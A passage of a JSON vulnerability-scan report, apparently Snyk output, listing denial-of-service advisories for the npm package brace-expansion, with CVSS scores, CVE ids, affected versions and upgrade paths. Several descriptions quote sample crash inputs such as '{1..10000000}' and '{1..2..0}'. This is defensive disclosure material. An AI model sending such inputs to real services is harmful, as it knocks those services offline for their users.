"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## 